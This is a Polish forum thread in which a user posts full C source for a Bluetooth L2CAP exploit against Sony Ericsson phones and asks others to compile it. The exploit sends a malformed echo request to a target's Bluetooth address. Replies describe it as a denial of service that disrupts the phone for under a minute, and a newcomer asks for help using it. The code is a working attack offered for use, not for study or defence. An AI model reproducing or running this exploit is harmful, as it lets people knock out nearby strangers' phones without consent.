sony ericsson

ziomekthc

Użytkownik
Dołączył
Grudzień 22, 2005
Posty
4
Znalazlem w necie exploita na sony ericsonki. mam zrodla tego exploita i je tu zamieszczam moze sie komus uda zkompilowac to niech da znac


Kod:
#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <bluetooth/bluetooth.h>

#include <bluetooth/hci.h>

#include <bluetooth/l2cap.h>



#define SIZE 4

#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header)



int main(int argc, char **argv)

{

char *buffer;

l2cap_cmd_hdr *cmd;

struct sockaddr_l2 addr;

int sock, sent, i;



if(argc < 2)

{

fprintf(stderr, "%s <btaddr>n", argv[0]);

exit(EXIT_FAILURE);

}



if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)

{

perror("socket");

exit(EXIT_FAILURE);

}



memset(&addr, 0, sizeof(addr));

addr.l2_family = AF_BLUETOOTH;



if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)

{

perror("bind");

exit(EXIT_FAILURE);

}



str2ba(argv[1], &addr.l2_bdaddr);



if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)

{

perror("connect");

exit(EXIT_FAILURE);

}



if(!(buffer = (char *) malloc ((int) SIZE + 1)))

{

perror("malloc");

exit(EXIT_FAILURE);

}



memset(buffer, 90, SIZE);



cmd = (l2cap_cmd_hdr *) buffer;

cmd->code = L2CAP_ECHO_REQ;

cmd->ident = 1;

cmd->len = FAKE_SIZE;



if( (sent=send(sock, buffer, SIZE, 0)) >= 0)

{

printf("L2CAP packet sent (%d)n", sent);

}



printf("Buffer:t");

for(i=0; i<sent; i++)

printf("%.2X ", (unsigned char) buffer[i]);

printf("n");



free(buffer);

close(sock);

return EXIT_SUCCESS;

}
 

Rodo

Użytkownik
Dołączył
Maj 5, 2006
Posty
9
oki

oki ... oki ... ale na co jest ten exploit? bo na swoim phone wole nie testowac ;]
 

Pepi

Użytkownik
Dołączył
Maj 29, 2004
Posty
245
taki malutki dosik ktory robi male hallo na ekranie
po niecalej minucie wszystko wraca do normy :]
 

Rodo

Użytkownik
Dołączył
Maj 5, 2006
Posty
9
skad wiesz?

skad wiesz?
<
P sprawdzales?
 

FDJ

Były Moderator
Dołączył
Maj 23, 2005
Posty
1044
Re: skad wiesz?

Originally posted by Rodo
skad wiesz?
<
P sprawdzales?

bo na tej stronie co podalem jest wszystko napisane 45 sec. i po wszystkiemu
<
 

D0han

Były Moderator
Dołączył
Lipiec 27, 2005
Posty
975
:whoeva: .......
Tego sie nie podrzuca nikomu, w zrodle masz podane jak tego uzywac.
Nawet komendy kompilacji sa ;p
 

Rodo

Użytkownik
Dołączył
Maj 5, 2006
Posty
9
aha

no dzieki w koncu potrzebuje od kogos nauki
<
(sam w tym dlugo nie siedze) jestem ze tak powiem swiezo upieczony
<
 
Do góry Bottom